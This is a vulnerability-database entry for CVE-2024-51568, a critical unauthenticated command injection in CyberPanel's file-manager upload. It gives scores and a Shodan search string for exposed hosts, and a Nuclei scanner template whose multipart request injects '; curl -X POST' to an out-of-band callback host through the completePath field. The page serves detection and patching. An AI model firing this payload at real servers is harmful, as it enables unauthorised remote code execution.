SecurityContext

CVE-2024-51568: CyberPanel - Command Injection

Classification

  • Cwe: CWE-78
  • Cvss score: 10
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Epss score: 0.47674
  • Epss percentile: 0.98877
  • Not known: cpe

Metadata

  • Max-request: 2
  • Product: cyberpanel
  • Shodan-query: http.html:"login to your cyberpanel account"
  • Vendor: cyberpanel
  • Verified: yes

Products

ProductIndexedUrl
cyberpanel:cyberpanelyes/v1/products/cyberpanel/cyberpanel

Labels

  • Name: CyberPanel - Command Injection
  • Impact: Attackers can execute arbitrary commands remotely, leading to full system compromise or remote code execution.
  • Remediation: Update to version 2.3.5 or later.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-51568
  • Not known: requirements

```yaml

id: CVE-2024-51568

info:

name: CyberPanel - Command Injection

author: s4e-io

severity: critical

description: |

CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.

impact: |

Attackers can exploit this vulnerability to compromise system security.

remediation: |

Apply security patches to address CVE-2024-51568.

reference:

- https://www.rapid7.com/db/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve/

- https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce

- https://nvd.nist.gov/vuln/detail/CVE-2024-51568

- https://cyberpanel.net/blog/cyberpanel-v2-3-5

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

cvss-score: 10

cve-id: CVE-2024-51568

cwe-id: CWE-78

epss-score: 0.47674

epss-percentile: 0.98877

metadata:

verified: true

max-request: 2

vendor: cyberpanel

product: cyberpanel

shodan-query: http.html:"login to your cyberpanel account"

tags: cve,cve2024,cyberpanel,rce,intrusive,vkev,vuln

variables:

boundary: "{{to_lower(rand_base(9))}}"

filename: "{{to_lower(rand_text_alpha(5))}}"

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

- |

POST /filemanager/upload HTTP/1.1

Host: {{Hostname}}

X-CSRFToken: {{csrftoken}}

Content-Type: multipart/form-data; boundary=----NewBoundary{{boundary}}

------NewBoundary{{boundary}}

Content-Disposition: form-data; name="domainName"

{{Hostname}}

------NewBoundary{{boundary}}

Content-Disposition: form-data; name="completePath"

; curl -X POST http://{{interactsh-url}}

------NewBoundary{{boundary}}

Content-Disposition: form-data; name="file"; filename="{{filename}}.txt"

pwd

------NewBoundary{{boundary}}--

matchers:

- type: dsl

dsl:

- "status_code == 200"

- 'contains(interactsh_protocol, "dns")'

- 'contains_all(body, "status\":", "error_message\":")'

condition: and

extractors:

- type: regex

part: header

name: csrftoken

group: 1

regex:

- csrftoken=([A-Za-z0-9]+)

internal: true

digest: 4a0a00473045022100bed743aa3072d2707bd90c2e83de8f943904e7e952114c5f22b8ff0e54bc7c4c022006ea432e051305d2e35085a2681769818e6232a43261015af5358d8ec2eec5c7:922c64590222798bb761d5b6d8e72950

```